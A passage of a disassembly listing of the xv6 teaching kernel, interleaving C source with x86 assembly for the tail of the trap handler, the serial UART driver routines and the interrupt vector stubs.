80105bed: 89 4d d8 mov %ecx,-0x28(%ebp)
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
tf->trapno, cpuid(), tf->eip, rcr2());
panic("trap");
}
// In user space, assume process misbehaved.
cprintf("pid %d %s: trap %d err %d on cpu %d "
80105bf0: e8 ab dc ff ff call 801038a0 <cpuid>
80105bf5: 89 45 dc mov %eax,-0x24(%ebp)
80105bf8: 8b 47 34 mov 0x34(%edi),%eax
80105bfb: 8b 77 30 mov 0x30(%edi),%esi
80105bfe: 89 45 e4 mov %eax,-0x1c(%ebp)
"eip 0x%x addr 0x%x--kill proc\n",
myproc()->pid, myproc()->name, tf->trapno,
80105c01: e8 ba dc ff ff call 801038c0 <myproc>
80105c06: 89 45 e0 mov %eax,-0x20(%ebp)
80105c09: e8 b2 dc ff ff call 801038c0 <myproc>
cprintf("pid %d %s: trap %d err %d on cpu %d "
80105c0e: 8b 4d d8 mov -0x28(%ebp),%ecx
80105c11: 8b 55 dc mov -0x24(%ebp),%edx
80105c14: 51 push %ecx
80105c15: 53 push %ebx
80105c16: 52 push %edx
myproc()->pid, myproc()->name, tf->trapno,
80105c17: 8b 55 e0 mov -0x20(%ebp),%edx
cprintf("pid %d %s: trap %d err %d on cpu %d "
80105c1a: ff 75 e4 pushl -0x1c(%ebp)
80105c1d: 56 push %esi
myproc()->pid, myproc()->name, tf->trapno,
80105c1e: 83 c2 6c add $0x6c,%edx
cprintf("pid %d %s: trap %d err %d on cpu %d "
80105c21: 52 push %edx
80105c22: ff 70 10 pushl 0x10(%eax)
80105c25: 68 74 7c 10 80 push $0x80107c74
80105c2a: e8 31 aa ff ff call 80100660 <cprintf>
tf->err, cpuid(), tf->eip, rcr2());
myproc()->killed = 1;
80105c2f: 83 c4 20 add $0x20,%esp
80105c32: e8 89 dc ff ff call 801038c0 <myproc>
80105c37: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax)
}
// Force process exit if it has been killed and is in user space.
// (If it is still executing in the kernel, let it keep running
// until it gets to the regular system call return.)
if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER)
80105c3e: e8 7d dc ff ff call 801038c0 <myproc>
80105c43: 85 c0 test %eax,%eax
80105c45: 74 1d je 80105c64 <trap+0xc4>
80105c47: e8 74 dc ff ff call 801038c0 <myproc>
80105c4c: 8b 50 24 mov 0x24(%eax),%edx
80105c4f: 85 d2 test %edx,%edx
80105c51: 74 11 je 80105c64 <trap+0xc4>
80105c53: 0f b7 47 3c movzwl 0x3c(%edi),%eax
80105c57: 83 e0 03 and $0x3,%eax
80105c5a: 66 83 f8 03 cmp $0x3,%ax
80105c5e: 0f 84 4c 01 00 00 je 80105db0 <trap+0x210>
exit();
// Force process to give up CPU on clock tick.
// If interrupts were on while locks held, would need to check nlock.
if(myproc() && myproc()->state == RUNNING &&
80105c64: e8 57 dc ff ff call 801038c0 <myproc>
80105c69: 85 c0 test %eax,%eax
80105c6b: 74 0b je 80105c78 <trap+0xd8>
80105c6d: e8 4e dc ff ff call 801038c0 <myproc>
80105c72: 83 78 0c 04 cmpl $0x4,0xc(%eax)
80105c76: 74 68 je 80105ce0 <trap+0x140>
tf->trapno == T_IRQ0+IRQ_TIMER)
yield();
// Check if the process has been killed since we yielded
if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER)
80105c78: e8 43 dc ff ff call 801038c0 <myproc>
80105c7d: 85 c0 test %eax,%eax
80105c7f: 74 19 je 80105c9a <trap+0xfa>
80105c81: e8 3a dc ff ff call 801038c0 <myproc>
80105c86: 8b 40 24 mov 0x24(%eax),%eax
80105c89: 85 c0 test %eax,%eax
80105c8b: 74 0d je 80105c9a <trap+0xfa>
80105c8d: 0f b7 47 3c movzwl 0x3c(%edi),%eax
80105c91: 83 e0 03 and $0x3,%eax
80105c94: 66 83 f8 03 cmp $0x3,%ax
80105c98: 74 37 je 80105cd1 <trap+0x131>
exit();
}
80105c9a: 8d 65 f4 lea -0xc(%ebp),%esp
80105c9d: 5b pop %ebx
80105c9e: 5e pop %esi
80105c9f: 5f pop %edi
80105ca0: 5d pop %ebp
80105ca1: c3 ret
80105ca2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(myproc()->killed)
80105ca8: e8 13 dc ff ff call 801038c0 <myproc>
80105cad: 8b 58 24 mov 0x24(%eax),%ebx
80105cb0: 85 db test %ebx,%ebx
80105cb2: 0f 85 e8 00 00 00 jne 80105da0 <trap+0x200>
myproc()->tf = tf;
80105cb8: e8 03 dc ff ff call 801038c0 <myproc>
80105cbd: 89 78 18 mov %edi,0x18(%eax)
syscall();
80105cc0: e8 9b ed ff ff call 80104a60 <syscall>
if(myproc()->killed)
80105cc5: e8 f6 db ff ff call 801038c0 <myproc>
80105cca: 8b 48 24 mov 0x24(%eax),%ecx
80105ccd: 85 c9 test %ecx,%ecx
80105ccf: 74 c9 je 80105c9a <trap+0xfa>
}
80105cd1: 8d 65 f4 lea -0xc(%ebp),%esp
80105cd4: 5b pop %ebx
80105cd5: 5e pop %esi
80105cd6: 5f pop %edi
80105cd7: 5d pop %ebp
exit();
80105cd8: e9 23 e0 ff ff jmp 80103d00 <exit>
80105cdd: 8d 76 00 lea 0x0(%esi),%esi
if(myproc() && myproc()->state == RUNNING &&
80105ce0: 83 7f 30 20 cmpl $0x20,0x30(%edi)
80105ce4: 75 92 jne 80105c78 <trap+0xd8>
yield();
80105ce6: e8 45 e1 ff ff call 80103e30 <yield>
80105ceb: eb 8b jmp 80105c78 <trap+0xd8>
80105ced: 8d 76 00 lea 0x0(%esi),%esi
if(cpuid() == 0){
80105cf0: e8 ab db ff ff call 801038a0 <cpuid>
80105cf5: 85 c0 test %eax,%eax
80105cf7: 0f 84 c3 00 00 00 je 80105dc0 <trap+0x220>
lapiceoi();
80105cfd: e8 2e cb ff ff call 80102830 <lapiceoi>
if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER)
80105d02: e8 b9 db ff ff call 801038c0 <myproc>
80105d07: 85 c0 test %eax,%eax
80105d09: 0f 85 38 ff ff ff jne 80105c47 <trap+0xa7>
80105d0f: e9 50 ff ff ff jmp 80105c64 <trap+0xc4>
80105d14: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
kbdintr();
80105d18: e8 d3 c9 ff ff call 801026f0 <kbdintr>
lapiceoi();
80105d1d: e8 0e cb ff ff call 80102830 <lapiceoi>
if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER)
80105d22: e8 99 db ff ff call 801038c0 <myproc>
80105d27: 85 c0 test %eax,%eax
80105d29: 0f 85 18 ff ff ff jne 80105c47 <trap+0xa7>
80105d2f: e9 30 ff ff ff jmp 80105c64 <trap+0xc4>
80105d34: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
uartintr();
80105d38: e8 53 02 00 00 call 80105f90 <uartintr>
lapiceoi();
80105d3d: e8 ee ca ff ff call 80102830 <lapiceoi>
if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER)
80105d42: e8 79 db ff ff call 801038c0 <myproc>
80105d47: 85 c0 test %eax,%eax
80105d49: 0f 85 f8 fe ff ff jne 80105c47 <trap+0xa7>
80105d4f: e9 10 ff ff ff jmp 80105c64 <trap+0xc4>
80105d54: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
cprintf("cpu%d: spurious interrupt at %x:%x\n",
80105d58: 0f b7 5f 3c movzwl 0x3c(%edi),%ebx
80105d5c: 8b 77 38 mov 0x38(%edi),%esi
80105d5f: e8 3c db ff ff call 801038a0 <cpuid>
80105d64: 56 push %esi
80105d65: 53 push %ebx
80105d66: 50 push %eax
80105d67: 68 1c 7c 10 80 push $0x80107c1c
80105d6c: e8 ef a8 ff ff call 80100660 <cprintf>
lapiceoi();
80105d71: e8 ba ca ff ff call 80102830 <lapiceoi>
break;
80105d76: 83 c4 10 add $0x10,%esp
if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER)
80105d79: e8 42 db ff ff call 801038c0 <myproc>
80105d7e: 85 c0 test %eax,%eax
80105d80: 0f 85 c1 fe ff ff jne 80105c47 <trap+0xa7>
80105d86: e9 d9 fe ff ff jmp 80105c64 <trap+0xc4>
80105d8b: 90 nop
80105d8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
ideintr();
80105d90: e8 eb c2 ff ff call 80102080 <ideintr>
80105d95: e9 63 ff ff ff jmp 80105cfd <trap+0x15d>
80105d9a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
exit();
80105da0: e8 5b df ff ff call 80103d00 <exit>
80105da5: e9 0e ff ff ff jmp 80105cb8 <trap+0x118>
80105daa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
exit();
80105db0: e8 4b df ff ff call 80103d00 <exit>
80105db5: e9 aa fe ff ff jmp 80105c64 <trap+0xc4>
80105dba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
acquire(&tickslock);
80105dc0: 83 ec 0c sub $0xc,%esp
80105dc3: 68 60 49 11 80 push $0x80114960
80105dc8: e8 93 e7 ff ff call 80104560 <acquire>
wakeup(&ticks);
80105dcd: c7 04 24 a0 51 11 80 movl $0x801151a0,(%esp)
ticks++;
80105dd4: 83 05 a0 51 11 80 01 addl $0x1,0x801151a0
wakeup(&ticks);
80105ddb: e8 50 e2 ff ff call 80104030 <wakeup>
release(&tickslock);
80105de0: c7 04 24 60 49 11 80 movl $0x80114960,(%esp)
80105de7: e8 34 e8 ff ff call 80104620 <release>
80105dec: 83 c4 10 add $0x10,%esp
80105def: e9 09 ff ff ff jmp 80105cfd <trap+0x15d>
80105df4: 0f 20 d6 mov %cr2,%esi
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
80105df7: e8 a4 da ff ff call 801038a0 <cpuid>
80105dfc: 83 ec 0c sub $0xc,%esp
80105dff: 56 push %esi
80105e00: 53 push %ebx
80105e01: 50 push %eax
80105e02: ff 77 30 pushl 0x30(%edi)
80105e05: 68 40 7c 10 80 push $0x80107c40
80105e0a: e8 51 a8 ff ff call 80100660 <cprintf>
panic("trap");
80105e0f: 83 c4 14 add $0x14,%esp
80105e12: 68 17 7c 10 80 push $0x80107c17
80105e17: e8 74 a5 ff ff call 80100390 <panic>
80105e1c: 66 90 xchg %ax,%ax
80105e1e: 66 90 xchg %ax,%ax
80105e20 <uartgetc>:
}
static int
uartgetc(void)
{
if(!uart)
80105e20: a1 c4 a5 10 80 mov 0x8010a5c4,%eax
{
80105e25: 55 push %ebp
80105e26: 89 e5 mov %esp,%ebp
if(!uart)
80105e28: 85 c0 test %eax,%eax
80105e2a: 74 1c je 80105e48 <uartgetc+0x28>
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80105e2c: ba fd 03 00 00 mov $0x3fd,%edx
80105e31: ec in (%dx),%al
return -1;
if(!(inb(COM1+5) & 0x01))
80105e32: a8 01 test $0x1,%al
80105e34: 74 12 je 80105e48 <uartgetc+0x28>
80105e36: ba f8 03 00 00 mov $0x3f8,%edx
80105e3b: ec in (%dx),%al
return -1;
return inb(COM1+0);
80105e3c: 0f b6 c0 movzbl %al,%eax
}
80105e3f: 5d pop %ebp
80105e40: c3 ret
80105e41: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
80105e48: b8 ff ff ff ff mov $0xffffffff,%eax
}
80105e4d: 5d pop %ebp
80105e4e: c3 ret
80105e4f: 90 nop
80105e50 <uartputc.part.0>:
uartputc(int c)
80105e50: 55 push %ebp
80105e51: 89 e5 mov %esp,%ebp
80105e53: 57 push %edi
80105e54: 56 push %esi
80105e55: 53 push %ebx
80105e56: 89 c7 mov %eax,%edi
80105e58: bb 80 00 00 00 mov $0x80,%ebx
80105e5d: be fd 03 00 00 mov $0x3fd,%esi
80105e62: 83 ec 0c sub $0xc,%esp
80105e65: eb 1b jmp 80105e82 <uartputc.part.0+0x32>
80105e67: 89 f6 mov %esi,%esi
80105e69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
microdelay(10);
80105e70: 83 ec 0c sub $0xc,%esp
80105e73: 6a 0a push $0xa
80105e75: e8 d6 c9 ff ff call 80102850 <microdelay>
for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++)
80105e7a: 83 c4 10 add $0x10,%esp
80105e7d: 83 eb 01 sub $0x1,%ebx
80105e80: 74 07 je 80105e89 <uartputc.part.0+0x39>
80105e82: 89 f2 mov %esi,%edx
80105e84: ec in (%dx),%al
80105e85: a8 20 test $0x20,%al
80105e87: 74 e7 je 80105e70 <uartputc.part.0+0x20>
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80105e89: ba f8 03 00 00 mov $0x3f8,%edx
80105e8e: 89 f8 mov %edi,%eax
80105e90: ee out %al,(%dx)
}
80105e91: 8d 65 f4 lea -0xc(%ebp),%esp
80105e94: 5b pop %ebx
80105e95: 5e pop %esi
80105e96: 5f pop %edi
80105e97: 5d pop %ebp
80105e98: c3 ret
80105e99: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80105ea0 <uartinit>:
{
80105ea0: 55 push %ebp
80105ea1: 31 c9 xor %ecx,%ecx
80105ea3: 89 c8 mov %ecx,%eax
80105ea5: 89 e5 mov %esp,%ebp
80105ea7: 57 push %edi
80105ea8: 56 push %esi
80105ea9: 53 push %ebx
80105eaa: bb fa 03 00 00 mov $0x3fa,%ebx
80105eaf: 89 da mov %ebx,%edx
80105eb1: 83 ec 0c sub $0xc,%esp
80105eb4: ee out %al,(%dx)
80105eb5: bf fb 03 00 00 mov $0x3fb,%edi
80105eba: b8 80 ff ff ff mov $0xffffff80,%eax
80105ebf: 89 fa mov %edi,%edx
80105ec1: ee out %al,(%dx)
80105ec2: b8 0c 00 00 00 mov $0xc,%eax
80105ec7: ba f8 03 00 00 mov $0x3f8,%edx
80105ecc: ee out %al,(%dx)
80105ecd: be f9 03 00 00 mov $0x3f9,%esi
80105ed2: 89 c8 mov %ecx,%eax
80105ed4: 89 f2 mov %esi,%edx
80105ed6: ee out %al,(%dx)
80105ed7: b8 03 00 00 00 mov $0x3,%eax
80105edc: 89 fa mov %edi,%edx
80105ede: ee out %al,(%dx)
80105edf: ba fc 03 00 00 mov $0x3fc,%edx
80105ee4: 89 c8 mov %ecx,%eax
80105ee6: ee out %al,(%dx)
80105ee7: b8 01 00 00 00 mov $0x1,%eax
80105eec: 89 f2 mov %esi,%edx
80105eee: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80105eef: ba fd 03 00 00 mov $0x3fd,%edx
80105ef4: ec in (%dx),%al
if(inb(COM1+5) == 0xFF)
80105ef5: 3c ff cmp $0xff,%al
80105ef7: 74 5a je 80105f53 <uartinit+0xb3>
uart = 1;
80105ef9: c7 05 c4 a5 10 80 01 movl $0x1,0x8010a5c4
80105f00: 00 00 00
80105f03: 89 da mov %ebx,%edx
80105f05: ec in (%dx),%al
80105f06: ba f8 03 00 00 mov $0x3f8,%edx
80105f0b: ec in (%dx),%al
ioapicenable(IRQ_COM1, 0);
80105f0c: 83 ec 08 sub $0x8,%esp
for(p="xv6...\n"; *p; p++)
80105f0f: bb 38 7d 10 80 mov $0x80107d38,%ebx
ioapicenable(IRQ_COM1, 0);
80105f14: 6a 00 push $0x0
80105f16: 6a 04 push $0x4
80105f18: e8 b3 c3 ff ff call 801022d0 <ioapicenable>
80105f1d: 83 c4 10 add $0x10,%esp
for(p="xv6...\n"; *p; p++)
80105f20: b8 78 00 00 00 mov $0x78,%eax
80105f25: eb 13 jmp 80105f3a <uartinit+0x9a>
80105f27: 89 f6 mov %esi,%esi
80105f29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105f30: 83 c3 01 add $0x1,%ebx
80105f33: 0f be 03 movsbl (%ebx),%eax
80105f36: 84 c0 test %al,%al
80105f38: 74 19 je 80105f53 <uartinit+0xb3>
if(!uart)
80105f3a: 8b 15 c4 a5 10 80 mov 0x8010a5c4,%edx
80105f40: 85 d2 test %edx,%edx
80105f42: 74 ec je 80105f30 <uartinit+0x90>
for(p="xv6...\n"; *p; p++)
80105f44: 83 c3 01 add $0x1,%ebx
80105f47: e8 04 ff ff ff call 80105e50 <uartputc.part.0>
80105f4c: 0f be 03 movsbl (%ebx),%eax
80105f4f: 84 c0 test %al,%al
80105f51: 75 e7 jne 80105f3a <uartinit+0x9a>
}
80105f53: 8d 65 f4 lea -0xc(%ebp),%esp
80105f56: 5b pop %ebx
80105f57: 5e pop %esi
80105f58: 5f pop %edi
80105f59: 5d pop %ebp
80105f5a: c3 ret
80105f5b: 90 nop
80105f5c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80105f60 <uartputc>:
if(!uart)
80105f60: 8b 15 c4 a5 10 80 mov 0x8010a5c4,%edx
{
80105f66: 55 push %ebp
80105f67: 89 e5 mov %esp,%ebp
if(!uart)
80105f69: 85 d2 test %edx,%edx
{
80105f6b: 8b 45 08 mov 0x8(%ebp),%eax
if(!uart)
80105f6e: 74 10 je 80105f80 <uartputc+0x20>
}
80105f70: 5d pop %ebp
80105f71: e9 da fe ff ff jmp 80105e50 <uartputc.part.0>
80105f76: 8d 76 00 lea 0x0(%esi),%esi
80105f79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105f80: 5d pop %ebp
80105f81: c3 ret
80105f82: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80105f89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105f90 <uartintr>:
void
uartintr(void)
{
80105f90: 55 push %ebp
80105f91: 89 e5 mov %esp,%ebp
80105f93: 83 ec 14 sub $0x14,%esp
consoleintr(uartgetc);
80105f96: 68 20 5e 10 80 push $0x80105e20
80105f9b: e8 70 a8 ff ff call 80100810 <consoleintr>
}
80105fa0: 83 c4 10 add $0x10,%esp
80105fa3: c9 leave
80105fa4: c3 ret
80105fa5 <vector0>:
80105fa5: 6a 00 push $0x0
80105fa7: 6a 00 push $0x0
80105fa9: e9 1b fb ff ff jmp 80105ac9 <alltraps>
80105fae <vector1>:
80105fae: 6a 00 push $0x0
80105fb0: 6a 01 push $0x1
80105fb2: e9 12 fb ff ff jmp 80105ac9 <alltraps>
80105fb7 <vector2>:
80105fb7: 6a 00 push $0x0
80105fb9: 6a 02 push $0x2
80105fbb: e9 09 fb ff ff jmp 80105ac9 <alltraps>
80105fc0 <vector3>:
80105fc0: 6a 00 push $0x0
80105fc2: 6a 03 push $0x3
80105fc4: e9 00 fb ff ff jmp 80105ac9 <alltraps>
80105fc9 <vector4>:
80105fc9: 6a 00 push $0x0
80105fcb: 6a 04 push $0x4
80105fcd: e9 f7 fa ff ff jmp 80105ac9 <alltraps>
80105fd2 <vector5>:
80105fd2: 6a 00 push $0x0
80105fd4: 6a 05 push $0x5
80105fd6: e9 ee fa ff ff jmp 80105ac9 <alltraps>
80105fdb <vector6>:
80105fdb: 6a 00 push $0x0
80105fdd: 6a 06 push $0x6
80105fdf: e9 e5 fa ff ff jmp 80105ac9 <alltraps>
80105fe4 <vector7>:
80105fe4: 6a 00 push $0x0
80105fe6: 6a 07 push $0x7
80105fe8: e9 dc fa ff ff jmp 80105ac9 <alltraps>
80105fed <vector8>:
80105fed: 6a 08 push $0x8
80105fef: e9 d5 fa ff ff jmp 80105ac9 <alltraps>
80105ff4 <vector9>:
80105ff4: 6a 00 push $0x0
80105ff6: 6a 09 push $0x9
80105ff8: e9 cc fa ff ff jmp 80105ac9 <alltraps>
80105ffd <vector10>:
80105ffd: 6a 0a push $0xa
80105fff: e9 c5 fa ff ff jmp 80105ac9 <alltraps>
80106004 <vector11>:
80106004: 6a 0b push $0xb
80106006: e9 be fa ff ff jmp 80105ac9 <alltraps>
8010600b <vector12>:
8010600b: 6a 0c push $0xc
8010600d: e9 b7 fa ff ff jmp 80105ac9 <alltraps>
80106012 <vector13>:
80106012: 6a 0d push $0xd
80106014: e9 b0 fa ff ff jmp 80105ac9 <alltraps>
80106019 <vector14>:
80106019: 6a 0e push $0xe
8010601b: e9 a9 fa ff ff jmp 80105ac9 <alltraps>
80106020 <vector15>:
80106020: 6a 00 push $0x0
80106022: 6a 0f push $0xf
80106024: e9 a0 fa ff ff jmp 80105ac9 <alltraps>
80106029 <vector16>:
80106029: 6a 00 push $0x0
8010602b: 6a 10 push $0x10
8010602d: e9 97 fa ff ff jmp 80105ac9 <alltraps>
80106032 <vector17>:
80106032: 6a 11 push $0x11
80106034: e9 90 fa ff ff jmp 80105ac9 <alltraps>
80106039 <vector18>:
80106039: 6a 00 push $0x0
8010603b: 6a 12 push $0x12
8010603d: e9 87 fa ff ff jmp 80105ac9 <alltraps>
80106042 <vector19>:
80106042: 6a 00 push $0x0
80106044: 6a 13 push $0x13
80106046: e9 7e fa ff ff jmp 80105ac9 <alltraps>
8010604b <vector20>:
8010604b: 6a 00 push $0x0
8010604d: 6a 14 push $0x14
8010604f: e9 75 fa ff ff jmp 80105ac9 <alltraps>
80106054 <vector21>:
80106054: 6a 00 push $0x0
80106056: 6a 15 push $0x15
80106058: e9 6c fa ff ff jmp 80105ac9 <alltraps>
8010605d <vector22>:
8010605d: 6a 00 push $0x0
8010605f: 6a 16 push $0x16
80106061: e9 63 fa ff ff jmp 80105ac9 <alltraps>
80106066 <vector23>:
80106066: 6a 00 push $0x0
80106068: 6a 17 push $0x17
8010606a: e9 5a fa ff ff jmp 80105ac9 <alltraps>
8010606f <vector24>:
8010606f: 6a 00 push $0x0
80106071: 6a 18 push $0x18
80106073: e9 51 fa ff ff jmp 80105ac9 <alltraps>
80106078 <vector25>:
80106078: 6a 00 push $0x0
8010607a: 6a 19 push $0x19
8010607c: e9 48 fa ff ff jmp 80105ac9 <alltraps>
80106081 <vector26>:
80106081: 6a 00 push $0x0
80106083: 6a 1a push $0x1a
80106085: e9 3f fa ff ff jmp 80105ac9 <alltraps>
8010608a <vector27>:
8010608a: 6a 00 push $0x0
8010608c: 6a 1b push $0x1b
8010608e: e9 36 fa ff ff jmp 80105ac9 <alltraps>
80106093 <vector28>:
80106093: 6a 00 push $0x0
80106095: 6a 1c push $0x1c
80106097: e9 2d fa ff ff jmp 80105ac9 <alltraps>
8010609c <vector29>:
8010609c: 6a 00 push $0x0
8010609e: 6a 1d push $0x1d
801060a0: e9 24 fa ff ff jmp 80105ac9 <alltraps>
801060a5 <vector30>:
801060a5: 6a 00 push $0x0
801060a7: 6a 1e push $0x1e
801060a9: e9 1b fa ff ff jmp 80105ac9 <alltraps>
801060ae <vector31>:
801060ae: 6a 00 push $0x0
801060b0: 6a 1f push $0x1f
801060b2: e9 12 fa ff ff jmp 80105ac9 <alltraps>
801060b7 <vector32>:
801060b7: 6a 00 push $0x0
801060b9: 6a 20 push $0x20
801060bb: e9 09 fa ff ff jmp 80105ac9 <alltraps>
801060c0 <vector33>:
801060c0: 6a 00 push $0x0
801060c2: 6a 21 push $0x21
801060c4: e9 00 fa ff ff jmp 80105ac9 <alltraps>
801060c9 <vector34>:
801060c9: 6a 00 push $0x0
801060cb: 6a 22 push $0x22
801060cd: e9 f7 f9 ff ff jmp 80105ac9 <alltraps>
801060d2 <vector35>:
801060d2: 6a 00 push $0x0
801060d4: 6a 23 push $0x23
801060d6: e9 ee f9 ff ff jmp 80105ac9 <alltraps>
801060db <vector36>:
801060db: 6a 00 push $0x0
801060dd: 6a 24 push $0x24
801060df: e9 e5 f9 ff ff jmp 80105ac9 <alltraps>
801060e4 <vector37>:
801060e4: 6a 00 push $0x0
801060e6: 6a 25 push $0x25
801060e8: e9 dc f9 ff ff jmp 80105ac9 <alltraps>
801060ed <vector38>:
801060ed: 6a 00 push $0x0
801060ef: 6a 26 push $0x26
801060f1: e9 d3 f9 ff ff jmp 80105ac9 <alltraps>
801060f6 <vector39>:
801060f6: 6a 00 push $0x0
801060f8: 6a 27 push $0x27
801060fa: e9 ca f9 ff ff jmp 80105ac9 <alltraps>
801060ff <vector40>:
801060ff: 6a 00 push $0x0
80106101: 6a 28 push $0x28
80106103: e9 c1 f9 ff ff jmp 80105ac9 <alltraps>
80106108 <vector41>:
80106108: 6a 00 push $0x0
8010610a: 6a 29 push $0x29
8010610c: e9 b8 f9 ff ff jmp 80105ac9 <alltraps>
80106111 <vector42>:
80106111: 6a 00 push $0x0
80106113: 6a 2a push $0x2a
80106115: e9 af f9 ff ff jmp 80105ac9 <alltraps>
8010611a <vector43>:
8010611a: 6a 00 push $0x0
8010611c: 6a 2b push $0x2b
8010611e: e9 a6 f9 ff ff jmp 80105ac9 <alltraps>
80106123 <vector44>:
80106123: 6a 00 push $0x0
80106125: 6a 2c push $0x2c
80106127: e9 9d f9 ff ff jmp 80105ac9 <alltraps>
8010612c <vector45>:
8010612c: 6a 00 push $0x0
8010612e: 6a 2d push $0x2d
80106130: e9 94 f9 ff ff jmp 80105ac9 <alltraps>
80106135 <vector46>:
80106135: 6a 00 push $0x0
80106137: 6a 2e push $0x2e
80106139: e9 8b f9 ff ff jmp 80105ac9 <alltraps>
8010613e <vector47>:
8010613e: 6a 00 push $0x0
80106140: 6a 2f push $0x2f
80106142: e9 82 f9 ff ff jmp 80105ac9 <alltraps>
80106147 <vector48>:
80106147: 6a 00 push $0x0
80106149: 6a 30 push $0x30
8010614b: e9 79 f9 ff ff jmp 80105ac9 <alltraps>
80106150 <vector49>:
80106150: 6a 00 push $0x0
80106152: 6a 31 push $0x31
80106154: e9 70 f9 ff ff jmp 80105ac9 <alltraps>
80106159 <vector50>:
80106159: 6a 00 push $0x0
8010615b: 6a 32 push $0x32
8010615d: e9 67 f9 ff ff jmp 80105ac9 <alltraps>
80106162 <vector51>:
80106162: 6a 00 push $0x0
80106164: 6a 33 push $0x33
80106166: e9 5e f9 ff ff jmp 80105ac9 <alltraps>
8010616b <vector52>:
8010616b: 6a 00 push $0x0
8010616d: 6a 34 push $0x34
8010616f: e9 55 f9 ff ff jmp 80105ac9 <alltraps>
80106174 <vector53>:
80106174: 6a 00 push $0x0
80106176: 6a 35 push $0x35
80106178: e9 4c f9 ff ff jmp 80105ac9 <alltraps>
8010617d <vector54>:
8010617d: 6a 00 push $0x0
8010617f: 6a 36 push $0x36
80106181: e9 43 f9 ff ff jmp 80105ac9 <alltraps>
80106186 <vector55>:
80106186: 6a 00 push $0x0
80106188: 6a 37 push $0x37
8010618a: e9 3a f9 ff ff jmp 80105ac9 <alltraps>
8010618f <vector56>:
8010618f: 6a 00 push $0x0
80106191: 6a 38 push $0x38
80106193: e9 31 f9 ff ff jmp 80105ac9 <alltraps>
80106198 <vector57>:
80106198: 6a 00 push $0x0
8010619a: 6a 39 push $0x39
8010619c: e9 28 f9 ff ff jmp 80105ac9 <alltraps>
801061a1 <vector58>:
801061a1: 6a 00 push $0x0
801061a3: 6a 3a push $0x3a
801061a5: e9 1f f9 ff ff jmp 80105ac9 <alltraps>
801061aa <vector59>:
801061aa: 6a 00 push $0x0
801061ac: 6a 3b push $0x3b
801061ae: e9 16 f9 ff ff jmp 80105ac9 <alltraps>
801061b3 <vector60>:
801061b3: 6a 00 push $0x0
801061b5: 6a 3c push $0x3c
801061b7: e9 0d f9 ff ff jmp 80105ac9 <alltraps>
801061bc <vector61>:
801061bc: 6a 00 push $0x0
801061be: 6a 3d push $0x3d
801061c0: e9 04 f9 ff ff jmp 80105ac9 <alltraps>
801061c5 <vector62>:
801061c5: 6a 00 push $0x0
801061c7: 6a 3e push $0x3e
801061c9: e9 fb f8 ff ff jmp 80105ac9 <alltraps>
801061ce <vector63>:
801061ce: 6a 00 push $0x0
801061d0: 6a 3f push $0x3f
801061d2: e9 f2 f8 ff ff jmp 80105ac9 <alltraps>
801061d7 <vector64>:
801061d7: 6a 00 push $0x0
801061d9: 6a 40 push $0x40
801061db: e9 e9 f8 ff ff jmp 80105ac9 <alltraps>
801061e0 <vector65>:
801061e0: 6a 00 push $0x0
801061e2: 6a 41 push $0x41
801061e4: e9 e0 f8 ff ff jmp 80105ac9 <alltraps>
801061e9 <vector66>:
801061e9: 6a 00 push $0x0
801061eb: 6a 42 push $0x42
801061ed: e9 d7 f8 ff ff jmp 80105ac9 <alltraps>
801061f2 <vector67>:
801061f2: 6a 00 push $0x0
801061f4: 6a 43 push $0x43
801061f6: e9 ce f8 ff ff jmp 80105ac9 <alltraps>
801061fb <vector68>:
801061fb: 6a 00 push $0x0
801061fd: 6a 44 push $0x44
801061ff: e9 c5 f8 ff ff jmp 80105ac9 <alltraps>
80106204 <vector69>:
80106204: 6a 00 push $0x0
80106206: 6a 45 push $0x45
80106208: e9 bc f8 ff ff jmp 80105ac9 <alltraps>
8010620d <vector70>:
8010620d: 6a 00 push $0x0
8010620f: 6a 46 push $0x46
80106211: e9 b3 f8 ff ff jmp 80105ac9 <alltraps>
80106216 <vector71>:
80106216: 6a 00 push $0x0
80106218: 6a 47 push $0x47
8010621a: e9 aa f8 ff ff jmp 80105ac9 <alltraps>
8010621f <vector72>:
8010621f: 6a 00 push $0x0
80106221: 6a 48 push $0x48
80106223: e9 a1 f8 ff ff jmp 80105ac9 <alltraps>
80106228 <vector73>:
80106228: 6a 00 push $0x0
8010622a: 6a 49 push $0x49
8010622c: e9 98 f8 ff ff jmp 80105ac9 <alltraps>
80106231 <vector74>:
80106231: 6a 00 push $0x0
80106233: 6a 4a push $0x4a
80106235: e9 8f f8 ff ff jmp 80105ac9 <alltraps>
8010623a <vector75>:
8010623a: 6a 00 push $0x0
8010623c: 6a 4b push $0x4b
8010623e: e9 86 f8 ff ff jmp 80105ac9 <alltraps>
80106243 <vector76>:
80106243: 6a 00 push $0x0
80106245: 6a 4c push $0x4c
80106247: e9 7d f8 ff ff jmp 80105ac9 <alltraps>
